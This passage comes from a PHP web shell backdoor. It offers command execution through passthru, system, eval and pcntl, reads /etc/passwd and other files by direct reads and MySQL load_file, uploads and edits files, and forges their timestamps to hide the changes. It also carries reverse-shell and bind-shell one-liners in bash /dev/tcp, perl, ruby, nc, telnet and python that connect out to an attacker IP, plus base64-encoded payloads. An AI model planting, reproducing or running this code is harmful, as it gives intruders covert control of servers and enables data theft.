660 <input name="wut" value="eval" type="hidden"></form>';
661 break;
662 case "pcntl":
663 //sploent516 not needed coz pcntl bypasses safe_mode
664 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="'.$_POST["pcfile"].'">';
665 if (is_writable("./")) {
666 echo "<font color=\"green\">(./ writable)</font>";
667 } else {
668 echo "<font color=\"red\">(./ readonly)</font>";
669 }
670 echo ' <br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
671 break;
672 case "ssh2":
673 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> host: <input name="ssh2host" type="text" size="20" value="'.$_POST["ssh2host"].'"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="'.$_POST["ssh2port"].'"> user: <input name="ssh2user" type="text" size="20" value="'.$_POST["ssh2user"].'"> password: <input name="ssh2pass" type="text" size="20" value="'.$_POST["ssh2pass"].'"> </font><br><font color="green"> haxor@pwnedbox$ </font> <input name="command" type="text" size="40" value="'.$shelltext.'"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
674 break;
675 }
676 }
677 }
678 if (!empty($_POST["wut"])) {
679 if ($download != "1") {
680 echo "<textarea cols=\"80\" rows=\"40\">";
681 }
682 switch ($_POST["wut"]) {
683 case "passthru":
684 passthru($_POST["command"]." 2>&1");
685 break;
686 case "system":
687 system($_POST["command"]." 2>&1");
688 break;
689 case "exec":
690 exec($_POST["command"]." 2>&1",$out);
691 print_r($out);
692 break;
693 case "shell_exec":
694 $out=shell_exec($_POST["command"]." 2>&1");
695 echo "$out";
696 break;
697 case "popen":
698 $hndl=popen($_POST["command"]." 2>&1", "r");
699 $read=stream_get_contents($hndl);
700 echo $read;
701 pclose($hndl);
702 break;
703 case "proc_open":
704 $process = proc_open('/bin/sh', $descriptorspec, $pipes);
705 if (is_resource($process)) {
706 fwrite($pipes[0],$_POST["command"]);
707 fclose($pipes[0]);
708 echo stream_get_contents($pipes[1]);
709 fclose($pipes[1]);
710 echo stream_get_contents($pipes[2]);
711 fclose($pipes[2]);
712 @proc_close($process);
713 }
714 break;
715 case "pcntl":
716 $shelltext=$_POST["command"];
717 switch (pcntl_fork()) {
718 case 0:
719 pcntl_exec($_POST["inter"],array("-c","".$_POST["command"]." ".$_POST["to"]." ".$_POST["pcfile"]));
720 exit(0);
721 default:
722 break;
723 }
724 sleep(1);
725 $fh=fopen("".$_POST["pcfile"]."","r");
726 if (!$fh) { echo "can`t fopen ".$_POST["pcfile"].", seems that we failed :("; }
727 else {
728 $rezult=fread($fh,filesize($_POST["pcfile"]));
729 fclose($fh);
730 echo $rezult;
731 if ($_POST["delrezult"] == "on") { unlink($_POST["pcfile"]); }
732 }
733 break;
734 case "eval":
735 eval($_POST["command"]);
736 break;
737 case "ssh2":
738 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?");
739 //using knowingly wrong username to test auth. methods
740 $auth_methods = ssh2_auth_none($connection, '12309tezt');
741 if (in_array('password', $auth_methods)) {
742 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?"); //need to connect again after failed login
743 if (ssh2_auth_password($connection, ''.$_POST["ssh2user"].'', ''.$_POST["ssh2pass"].'')) {
744 $stream=ssh2_exec($connection, $shelltext);
745 stream_set_blocking($stream, true);
746 $data = "";
747 while ($buf = fread($stream,4096)) {
748 $data .= $buf;
749 }
750 fclose($stream);
751 echo $data;
752 } else {
753 echo "cant login. user/pass wrong?";
754 }
755 } else {
756 echo 'fail, no "password" auth method';
757 }
758 break;
759 }
760 if ($download != "1") {
761 echo "</textarea>";
762 }
763 }
764 break;
765// --------------------------------------------- shell end; file operations
766 case "f":
767 if ($download != "1") {
768 echo $title;
769 echo "<font color=\"gray\">";
770 echo "current dir: ".$_SERVER["DOCUMENT_ROOT"]."<br>";
771 sploent516();
772 echo "<br>--------------------------------<br></font>";
773 }
774 if (empty($_POST["filer"]) and $download != "1") {
775 $ololotext="/home/USER/public_html/DOMAIN/index.php";
776 echo '<font color="blue">---> read file </font><br>';
777 echo "php file_get_contents:<br>";
778 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
779 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
780 //curl
781 if (strnatcmp(version(),"5.2.9") <= 0) {
782 echo "<br> curl exploit: <br>";
783 if (!extension_loaded('curl')) {
784 echo " fail, curl is required<br>";
785 } else {
786 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
787 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
788 }
789 }
790 } else {
791 switch ($_POST["filer"]) {
792 case "php":
793 $ololotext=($_POST["filename"]);
794 if ($download != "1") {
795 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
796 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
797 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
798 }
799 if (!empty($_POST["filename"])) {
800 if ($download != "1") {
801 echo '<font color="gray">';
802 echo "<textarea cols=\"80\" rows=\"40\">";
803 }
804 $contents=file_get_contents($_POST["filename"]) or die("failed. bad permissions or no such file?");
805 echo $contents;
806 if ($download != "1") {
807 echo "</textarea>";
808 }
809 die();
810 }
811 break;
812 case "curl":
813 $ololotext=($_POST["filename"]);
814 if ($download != "1") {
815 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
816 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
817 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
818 }
819 if (!empty($_POST["filename"])) {
820 if ($download != "1") {
821 echo '<font color="gray">';
822 echo "<textarea cols=\"80\" rows=\"40\">";
823 }
824 sploent529($_POST["filename"]);
825 }
826 break;
827 }
828 }
829 // curl + file_get_contents end
830 if ($download != "1") {
831 echo "<br>mysql:<br>";
832 if (empty($_POST["sqlr"])) {
833 $user="root";
834 $pass="12345";
835 $db="test";
836 $host="localhost";
837 $port="3306";
838 $file="/etc/passwd";
839 } else {
840 $user=$_POST['user'];
841 $pass=$_POST['pass'];
842 $db=$_POST['db'];
843 $host=$_POST['host'];
844 $port=$_POST['port'];
845 $file=$_POST['file'];
846 }
847 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"> database <input name="db" type="text" maxlength="500" size="10" value="'.$db.'"><font color="gray">(needed for `load data infile`)</font><br><input name="wut" value="load_file" type="radio" checked>load_file<br><input name="wut" value="infile" type="radio">load data infile <font color="gray">(use it for binary files)</font><br><input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlr" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
848 if (!empty($_POST["sqlr"])) {
849 $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error());
850 switch ($_POST['wut']) {
851 case "load_file":
852 $q='SELECT load_file("'.$_POST["file"].'")';
853 $rez=mysql_query($q,$link) or die("query error:".mysql_error());
854 echo "result:<br>";
855 echo "<textarea cols=\"80\" rows=\"20\">";
856 echo mysql_result($rez,0);
857 echo "</textarea><br>";
858 break;
859 case "infile":
860 mysql_select_db($db) or die ("cannot select db: ".mysql_error());
861 mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error());
862 mysql_query("LOAD DATA INFILE \"".$_POST["file"]."\" INTO TABLE file LINES TERMINATED BY '' (`text`)") or die ("cannot load data: ".mysql_error());
863 $rez=mysql_query("SELECT * FROM file;");
864 if (!$rez) { echo "fail. permission denied?<br>"; }
865 else {
866 for ($i=0;$i<mysql_num_fields($rez);$i++) {$name = mysql_field_name($rez,$i);}
867 $f = "";
868 while ($row = mysql_fetch_array($rez, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
869 if (empty($f)) {
870 echo "file does not exists or empty?<br>";
871 } else {
872 echo "result:<br>";
873 // code from c99shell madnet edition
874 $n = 0;
875 $a0 = "00000000<br>";
876 $a1 = "";
877 $a2 = "";
878 for ($i=0; $i<strlen($f); $i++) {
879 $a1 .= sprintf("%02X",ord($f[$i]))." ";
880 switch (ord($f[$i])) {
881 case 0: $a2 .= "<font>0</font>"; break;
882 case 32:
883 case 10:
884 case 13: $a2 .= " "; break;
885 default: $a2 .= htmlspecialchars($f[$i]);
886 }
887 $n++;
888 if ($n == 24) {
889 $n = 0;
890 if ($i+1 < strlen($f)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
891 $a1 .= "<br>";
892 $a2 .= "<br>";
893 }
894 }
895 echo '<table border=0 cellspacing="1" cellpadding="4"><tr><td>'.$a0.'</td><td>'.$a1.'</td><td>'.$a2.'</td></tr></table><br>';
896 }
897 mysql_free_result($result);
898 mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error());
899 }
900 die();
901 break;
902 }
903 mysql_close($link);
904 }
905 }
906 // mysql read file end. upload
907 if ($download != "1") {
908 echo '<br><font color="blue">---> upload file</font><br>';
909 if (!ini_get('file_uploads')) {
910 echo "file_uploads Off";
911 } else {
912 echo "<font color=\"gray\">post_max_size: ".ini_get('post_max_size')."<br>";
913 echo "upload_max_filesize: ".ini_get('upload_max_filesize')."<br>";
914 echo "</font>";
915 if (is_writable("./")) {
916 echo "<font color=\"green\">./ writable</font>";
917 } else {
918 echo "<font color=\"red\">./ readonly</font>";
919 }
920 if (!isset($_POST["dir"])) {
921 $upto=".";
922 } else {
923 $upto=$_POST["dir"];
924 }
925 echo '<form enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="sourcefile" type="file"> upload to <font color="gray">(dir)</font><input name="filedir" type="text" maxlength="500" size="20" value="'.$upto.'"><font color="green">/</font><input name="upname" type="text" maxlength="500" size="20" value=""><font color="gray">(name. empty = use original file`s name)</font> <input name="upload" type="hidden" value="okz"><input name="p" type="hidden" value="f"><br><input type="submit" value="upload">';
926 echo '</form>';
927 if (!empty($_POST["upload"])) {
928 if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
929 {
930 echo "upload ok";
931 $dirtime=filemtime($_POST['filedir']);
932 if (!empty($_POST["upname"])) {
933 $upname=$_POST["upname"];
934 } else {
935 $upname=$_FILES["sourcefile"]["name"];
936 }
937 move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die("<br>moving failed!<br>");
938 echo "<br>moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).")<br>";
939 touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die ("<br>touch failed!<br>");
940 echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir<br>";
941 touch($_POST['filedir'],$dirtime,$dirtime) or die ("<br>touch dir failed!<br>");
942 echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))."<br>";
943 } else {
944 echo("<br>upload failed!<br>");
945 }
946 }
947 }
948 echo "<br>";
949 echo '<font color="blue">---> edit file</font><br>';
950 if (!empty($_POST["edit"])) {
951 $filee=trim($_POST["filee"]);
952 $files=trim($_POST["files"]);
953 } else {
954 $filee="/etc/passwd";
955 if (empty($_POST["dir"])) {
956 $dir="./";
957 } else {
958 $dir=$_POST["dir"]."/";
959 }
960 $files=$dir."cache.txt";
961 }
962 echo '<form name="editor" method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="filee" type="text" maxlength="500" size="30" value="'.$filee.'"> save as <input name="files" type="text" maxlength="500" size="30" value="'.$files.'"> <input type="submit" value="go"><input name="edt" type="hidden" value="ok"><input name="edit" type="hidden" value="edit"><input name="p" type="hidden" value="f"><br></form>';
963 }
964 if (!empty($_POST["edit"])) {
965 $filee=trim($_POST["filee"]);
966 $oldtime=@filemtime($filee);
967 $files=trim($_POST["files"]);
968 if (!file_exists($files)) {
969 if (!fopen($files,'a+')) {
970 echo '<font color="red">'.$files.' isnt writable! (cannot open "a+")<br></font>';die();
971 } else {
972 if (!file_exists($filee)) {
973 echo '<font color="gray"> no file '.$filee.', I`ll create new '.$files.'.</font><br>';
974 } else {
975 echo '<font color="gray"> no file '.$files.', I`ll create new '.$files.'.</font><br>';
976 }
977 fclose($files);
978 unlink($files);
979 }
980 } else {
981 if (!is_writable($files)) {
982 $chmoded=substr(sprintf('%o',fileperms($files)), -4);
983 echo '<font color="gray">'.$files.' chmod '.$chmoded.', trying to chmod 0666</font>';
984 chmod($files, 0666) or die ('<font color="red"><br>cannot chmod '.$files.' 666!');
985 echo '<font color="gray"> ...done</font>';
986 }
987 }
988 if (!empty($_POST["edt"])) {
989 $filec=file_get_contents($filee);
990 if (empty($filec)) {
991 echo '<font color="red">cannot get '.$filee.' contents!</font>';
992 }
993 if (isset($_POST['filec'])) {
994 $filec=$_POST['filec'];
995 $fh=fopen($files,"w+") or die ('<font color="red">cannot fopen "w+"!</font>');
996 fputs($fh,$filec);
997 fclose($fh) or die ('<font color="red">cannot save file!</font>');
998 if (isset($_POST['chmoded'])) {
999 echo "chmoding to old perms(".trim($_POST['chmoded']).")<br>";
1000 $perms = 0;
1001 for($i=strlen($_POST['chmoded'])-1;$i>=0;--$i)
1002 $perms+=(int)$_POST['chmoded'][$i]*pow(8, (strlen($_POST['chmoded'])-$i-1));
1003 chmod($files, $perms);
1004 }
1005 $date=explode(" ",$_POST["touch"]);
1006 $day=explode("-",$date[0]);
1007 $time=explode(":",$date[1]);
1008 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
1009 @touch($files,$unixtime,$unixtime);
1010 die('<br><font color="green"> -> '.$files.' saved!</font>');
1011 }
1012 if (empty($oldtime)) {
1013 $ttime=time();
1014 } else {
1015 $ttime=$oldtime;
1016 }
1017 echo '<form action="'.$_SERVER["PHP_SELF"].'" method="post">enter touch time: <input name="touch" type="text" maxlength="19" size="19" value="'.date("Y-m-d H:i:s",$ttime).'"><br><textarea cols="80" rows="20" name="filec">'.$filec.'</textarea><input name="filee" type="hidden" value="'.$filee.'"><input name="p" type="hidden" value="f"><input name="files" type="hidden" value="'.$files.'">';
1018 if (isset($chmoded)) {
1019 echo '<input name="chmoded" type="hidden" value="'.$chmoded.'">';
1020 }
1021 echo '<input name="edit" type="hidden" value="edit"><br><input type="submit" name="edt" value="save"></form>';
1022 }
1023 die();
1024 }
1025 if ($download != "1") {
1026 echo "<br>";
1027 echo '<font color="blue">---> filemanager</font><br>';
1028 }
1029 if ($action=="viewer") {
1030 if (!isset($dir)) {
1031 $dir=getcwd();
1032 }
1033 scandire($_POST["dir"]);
1034 }
1035 if ($action=="download") {
1036 readfile($_POST["file"]);
1037 }
1038 if ($action=="chmod") {
1039 chmodz($_POST["file"]);
1040 }
1041 if ($action=="touch") {
1042 touchz($_POST["file"]);
1043 }
1044 if ($action == 'delete') {
1045 if (unlink($_POST["file"])) $content.="file ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1046 }
1047 if ($action == 'deletedir') {
1048 if (!rmrf($_POST["file"])) {
1049 $content .="error deleting dir ".$_POST["file"].", <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1050 } else {
1051 $content .="dir ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1052 }
1053 }
1054 if (!empty($content)) {
1055 echo $content;
1056 }
1057 if ($download != "1") {
1058 echo '<br>';
1059 echo '<form name="reqs" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="action" type="hidden" value=""><input name="dir" type="hidden" value=""><input name="file" type="hidden" value=""><input name="p" type="hidden" value="f"></form>';
1060 }
1061 break;
1062// --------------------------------------------- file end; bind
1063 case "b":
1064 echo $title;
1065 echo '<a href="#" onclick="showTooltip(1)" id="link"> >> help << </a>
1066 <div id="1" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">
1067 you could get almost-interactive shell in bind/backconnect with help of these commands<br>
1068 -> if there is python on the server, run: <br>
1069 python -c \'import pty; pty.spawn("/bin/bash")\'<br>
1070 -> ruby:<br>
1071 ruby -rpty -e \'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end\'<br>
1072 -> expect:<br>
1073 expect -c \'spawn sh;interact\'<br>
1074 -> policycoreutils package:<br>
1075 open_init_pty bash<br><br>
1076 //thanks to tex from rdot.org<br><br>
1077 for backconnect you should use small one-liners coz there is no temporary file created. in case they fail, try usual "big" backconnects.<br><br>
1078 //thanks to Bernardo Damele and pentestmonkey.net<br><br>
1079 if your terminal is broken after using backconnect (i.e. it doesnt show what you type), run command: reset<br>
1080 </div><br><br>';
1081 if ($failflag=="1") {
1082 echo "fail, at least one system function needed!<br><br>";
1083 } else {
1084 $nc='<font color="gray">(dont forget to setup nc <b>first</b>!)</font>';
1085 $semi='<font color="gray">dont forget to write <b>;</b> at the end of command!</font>';
1086 sploent516();
1087 echo "<br>"; //debug: sometimes page cut here, when passthru system shell_exec are disabled
1088 echo '<font color="green"> - - - - = = = = > > one-liners</font><br><a href="#" onclick="showTooltip(4)" id="link4"> >> show code << </a>
1089 <div id="4" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none"><textarea cols="80" rows="20">
1090'.gzinflate(base64_decode("nZLRq5swFMbf/SsOIq0Bjbfdm6lCue1Axr0t1bcxShvjKtUkJHZdWbe/fYkWrhv3YezFk3zE7/yS7xwP+hQ78LSYzOYfCPvOKJjFIo1K9i3qqIyyLV6uVni3xnkebTe7goA+QX8c0v4774vjSKYaY2ULhC/ZBkIGU08mlVBn41x3QV35nkTEowlnV8g2cZwLemZdHGev68LfMqaWZakCd9w0tk1dRPJilb2GaVUKybjv0UAZp19j4YqIvumOtd4erqe6YYuUTB1HXY43w2ULhEr3HXs2ywR1BT0gTYrn7YCDDZ3/B4MbuA+K3tenbZlQ/JV1GpFsg2VPYMTAVS76ca/FnWKpam7sBVbsUP5kvDQonFqQFsIKoq6VEeaUlwTaMxflSAEJkwlwCmMGsAQmqNGxO0THmkcmj1n6JjtOxxpuXvXfWw0//G87eetOgtvo+wWEFKZ1K4XqYHjtQF+OUgnKtA6EJjoZZDwU/7FbftzbMQge23zz/GmfF7v18sXkiqngnNHO/zsYi4kQERqXFzn3Na5MQFz4KHhCBN6RZ+/Lc0Rk8saJ6aFp/M/u48ZmAMLa/YLsPP0G")).'</textarea></div><br>';
1091 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"><input name="p" type="hidden" value="b"> using <br>';
1092 $searchvar=trim(search("bash",$failflag));
1093 if (empty($searchvar)) {
1094 echo "fail, no bash here<font color=\"gray\"> (lolwut?)</font><br>";
1095 } else {
1096 echo ' bash <input name="wut" value="bash" type="radio" checked><br>';
1097 }
1098 $searchvar=trim(search("perl",$failflag));
1099 if (empty($searchvar)) {
1100 echo "fail, no perl here<br>";
1101 } else {
1102 echo ' perl <input name="wut" value="perl" type="radio"><br>';
1103 }
1104 $searchvar=trim(search("ruby",$failflag));
1105 if (empty($searchvar)) {
1106 echo "fail, no ruby here<br>";
1107 } else {
1108 echo ' ruby <input name="wut" value="ruby" type="radio"><br>';
1109 }
1110 $searchvar=trim(search("nc",$failflag));
1111 if (empty($searchvar)) {
1112 echo "fail, no nc here<br>";
1113 } else {
1114 echo ' nc <input name="wut" value="nc" type="radio"><br>';
1115 }
1116 $searchvar=trim(search("telnet",$failflag));
1117 if (empty($searchvar)) {
1118 echo "fail, no telnet here<br>";
1119 } else {
1120 echo ' telnet <input name="wut" value="telnet" type="radio"><br>';
1121 }
1122 $searchvar=trim(search("python",$failflag));
1123 if (empty($searchvar)) {
1124 echo "fail, no python here<br>";
1125 } else {
1126 echo ' python <input name="wut" value="python" type="radio"><br>';
1127 }
1128 echo '<br><input type="hidden" name="oneline" value="oneline"><input type="submit" value="go"></form><br>';
1129 if (!empty($_POST["oneline"])) {
1130 switch ($_POST["wut"]) {
1131 case "bash":
1132 $c='0<&123;exec 123<>/dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].'; sh <&123 >&123 2>&123';
1133 run($c);
1134 echo "done<br>";
1135 break;
1136 case "perl":
1137 $c='perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"'.$_POST['ip'].':'.$_POST['port'].'");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'';
1138 run($c);
1139 echo "done<br>";
1140 break;
1141 case "ruby":
1142 $c='ruby -rsocket -e \'exit if fork;c=TCPSocket.new("'.$_POST['ip'].'","'.$_POST['port'].'");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\'';
1143 run($c);
1144 echo "done<br>";
1145 break;
1146 case "nc":
1147 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && nc '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd';
1148 run($c);
1149 echo "done<br>";
1150 break;
1151 case "telnet":
1152 $c='rm -f /tmp/.ncnd; mknod /tmp/.ncnd p && telnet '.$_POST['ip'].' '.$_POST['port'].' 0</tmp/.ncnd | /bin/sh 1>/tmp/.ncnd';
1153 run($c);
1154 echo "done<br>";
1155 break;
1156 case "python":
1157 $c='python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$_POST['ip'].'",'.$_POST['port'].'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'';
1158 run($c);
1159 echo "done<br>";
1160 break;
1161 }
1162 }
1163 echo '<font color="green">- - - - = = = = > > classic</font><br>';
1164 echo '<font color="blue">---> PHP </font><br>';
1165 if (!function_enabled('set_time_limit')) { echo '<font color="gray">warning! set_time_limit off!</font><br>'; }
1166 if (!function_enabled('ignore_user_abort')) { echo '<font color="gray">warning! ignore_user_abort off!</font><br>'; }
1167 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$semi.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phplocal"></form>';
1168 if (function_enabled('fsockopen')) {
1169 if (function_enabled('proc_open')) {
1170 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> <input type="submit" value="go"><br>'.$nc.'<input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="phpremote"></form><br>';
1171 } else { echo 'fail, proc_open is needed for backconnect!<br><br>'; }
1172 } else { echo 'fail, fsockopen is needed for backconnect!<br><br>'; }
1173 //php end
1174 echo '<font color="blue">---> PERL </font><br>';
1175 $searchvar=trim(search("perl",$failflag));
1176 if (empty($searchvar)) {
1177 echo "fail, no perl here<br>";
1178 } else {
1179 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perllocal"><input name="p" type="hidden" value="b"> ';
1180 if (is_writable("./")) {
1181 echo "<font color=\"green\">(./ writable)</font>";
1182 } else {
1183 echo "<font color=\"red\">(./ readonly)</font>";
1184 }
1185 echo '<br>'.$semi.'</form>';
1186 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="shellz" type="hidden" value="perlremote"><input name="p" type="hidden" value="b"><br>'.$nc.'<br></form>';
1187 }
1188 //perl end
1189 echo "<br>";
1190 echo '<font color="blue">---> PYTHON </font><br>';
1191 $searchvar=trim(search("python",$failflag));
1192 if (empty($searchvar)) {
1193 echo "fail, no python here<br>";
1194 } else {
1195 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd"> <input type="submit" value="go"><input name="shellz" type="hidden" value="pylocal"><input name="p" type="hidden" value="b"> ';
1196 if (is_writable("./")) {
1197 echo "<font color=\"green\">(./ writable)</font>";
1198 } else {
1199 echo "<font color=\"red\">(./ readonly)</font>";
1200 }
1201 echo '<br>'.$semi.'</form>';
1202 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyremote"><br>'.$nc.'<br></form>';
1203 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">fully interactive backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc"> <input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="pyint"><br></form>';
1204 echo '<font color="gray">you need to run special client first: <a href="#" onclick="showTooltip(2)" id="link2"> >> show code << </a><br>with this one you will be able to run mc, top, vim, etc</font>
1205 <div id="2" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1206 echo '<br>usage: python client.py [host] [port], then input there ^^^^ your host and port.<br>do not remove whitespace!<br>if you see "TERM is not set", run command: export TERM=linux<br>';
1207 echo "<textarea cols=\"80\" rows=\"20\">";
1208 echo gzinflate(base64_decode('dVLBbhoxFLzvV0ypUHcly5BWvaDmEKVEQm1BKhv1sEFou/sAKxsb2U4Ifx8/mySEKAfWsj0zb2bM58G9s4P/Sg9IP2C79xujM3W3NdbDmeaWvMDW7wU8fxx11IQTt3cCxmVqhY50zntZ2/UDCvzAt1GGrVXao3ft6jWN0HeoNsb5BSoWXvTQxyupGi5QZNQ5CkSG4RzO2yPAGQMQPZ0jCB9dfY1X7JRZ0bBMS/68vbhaTqbjUjzv57PLX8t5+Xd88Ye53u7D3HgpQw9tjpxNiDivYES665TznPU7H9FjQ1vPvEPSy1p/8WA+Pt3oXsZ9SUfe1rucC5Tz8udkurya/B5PZ6yw26iOUNp7OlL5Vyuv9BorY0POxtzxxuhQ4KjvpJQ3NlZ35C9w84b9CdRta4tDC7Ju2GBevGrPboNA3yWJ2C8TYr63XmAFdgLEUvG9ZVpyVIij5CrAtckL8T7ZQqCKvyiM8Ad5SwmxYOMUtDU/p3HSUh1aP5U+Gw6HSYQxO6s8vTQ5uy4PA0WUSbAwTBvPB2nAy9t0isLadMZRi8ZoHdIoo0MVCUePKlXFEu8ifej4FPmB59NgyfAT'));
1209 echo "</textarea><br>";
1210 echo '</div><br>';
1211 }
1212 //python end
1213 echo "<br>";
1214 echo '<font color="blue">---> C </font><br>';
1215 $searchvar=trim(search("gcc",$failflag));
1216 if (empty($searchvar)) {
1217 echo "fail, no gcc here<br>";
1218 } else {
1219 echo '<font color="gray">don\'t remove ".c" file extension! compiler= '.$searchvar.'</font><br>';
1220 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">bind local port <input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bd.c"><input type="submit" value="go"><input name="p" type="hidden" value="b"><input name="shellz" type="hidden" value="clocal"> ';
1221 if (is_writable("./")) {
1222 echo "<font color=\"green\">(./ writable)</font>";
1223 } else {
1224 echo "<font color=\"red\">(./ readonly)</font>";
1225 }
1226 echo '<br>'.$semi.'</form>';
